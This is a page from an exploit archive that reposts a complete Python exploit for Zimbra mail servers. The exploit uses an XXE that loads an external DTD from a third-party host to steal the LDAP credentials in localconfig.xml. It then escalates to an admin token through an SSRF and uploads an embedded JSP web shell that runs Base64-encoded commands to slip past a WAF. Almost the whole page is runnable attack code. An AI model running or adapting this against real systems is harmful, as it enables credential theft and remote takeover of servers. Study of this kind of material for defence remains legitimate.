Advertisement






Zimbra XML Injection / Server-Side Request Forgery

CVE Category Price Severity
N/A CWE-918 $10,000 High
Author Risk Exploitation Type Date
Unknown High Remote 2019-06-06
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.422757 0.92575

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019060039

Below is a copy:

Zimbra XML Injection / Server-Side Request Forgery
#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#upload file name and content
#modify by k8gege
#Connect "shell.jsp" using K8fly CmdShell
#Because the CMD parameter is encrypted using Base64(bypass WAF)
filename = "shell.jsp"
fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'
print(base_url)
#dtd file url
dtd_url="https://k8gege.github.io/zimbra.dtd"
"""
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
"""
xxe_data = r"""<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "{dtd}">
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>""".format(dtd=dtd_url)

#XXE stage
headers = {
    "Content-Type":"application/xml"
}
print("[*] Get User Name/Password By XXE ")
r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)
#print r.text
if 'response schema not available' not in r.text:
    print("have no xxe")
    exit()

#low_token Stage
import re
pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
print(username)
print(password)

auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="{xmlns}">
        <account by="adminName">{username}</account>
        <password>{password}</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>
"""
print("[*] Get Low Privilege Auth Token")
r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)

pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")

low_priv_token = pattern_auth_token.findall(r.text)[0]

#print(low_priv_token)

# SSRF+Get Admin_Token Stage

headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
headers["Host"]="foo:7071"
print("[*] Get Admin  Auth Token By SSRF")
r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)

admin_token =pattern_auth_token.findall(r.text)[0]
#print("ADMIN_TOKEN:"+admin_token)

f = {
    'filename1':(None,"whocare",None),
    'clientFile':(filename,fileContent,"text/plain"),
    'requestId':(None,"12",None),
}

headers ={
    "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"
}
print("[*] Uploading file")
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
#print(r.text)
print("Shell: "+base_url+"/downloads/"+filename)
#print("Connect \"shell.jsp\" using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)")
print("[*] Request Result:")
s = requests.session()
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
#print(r.text)
print("May need cookie:")
print(headers['Cookie'])

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum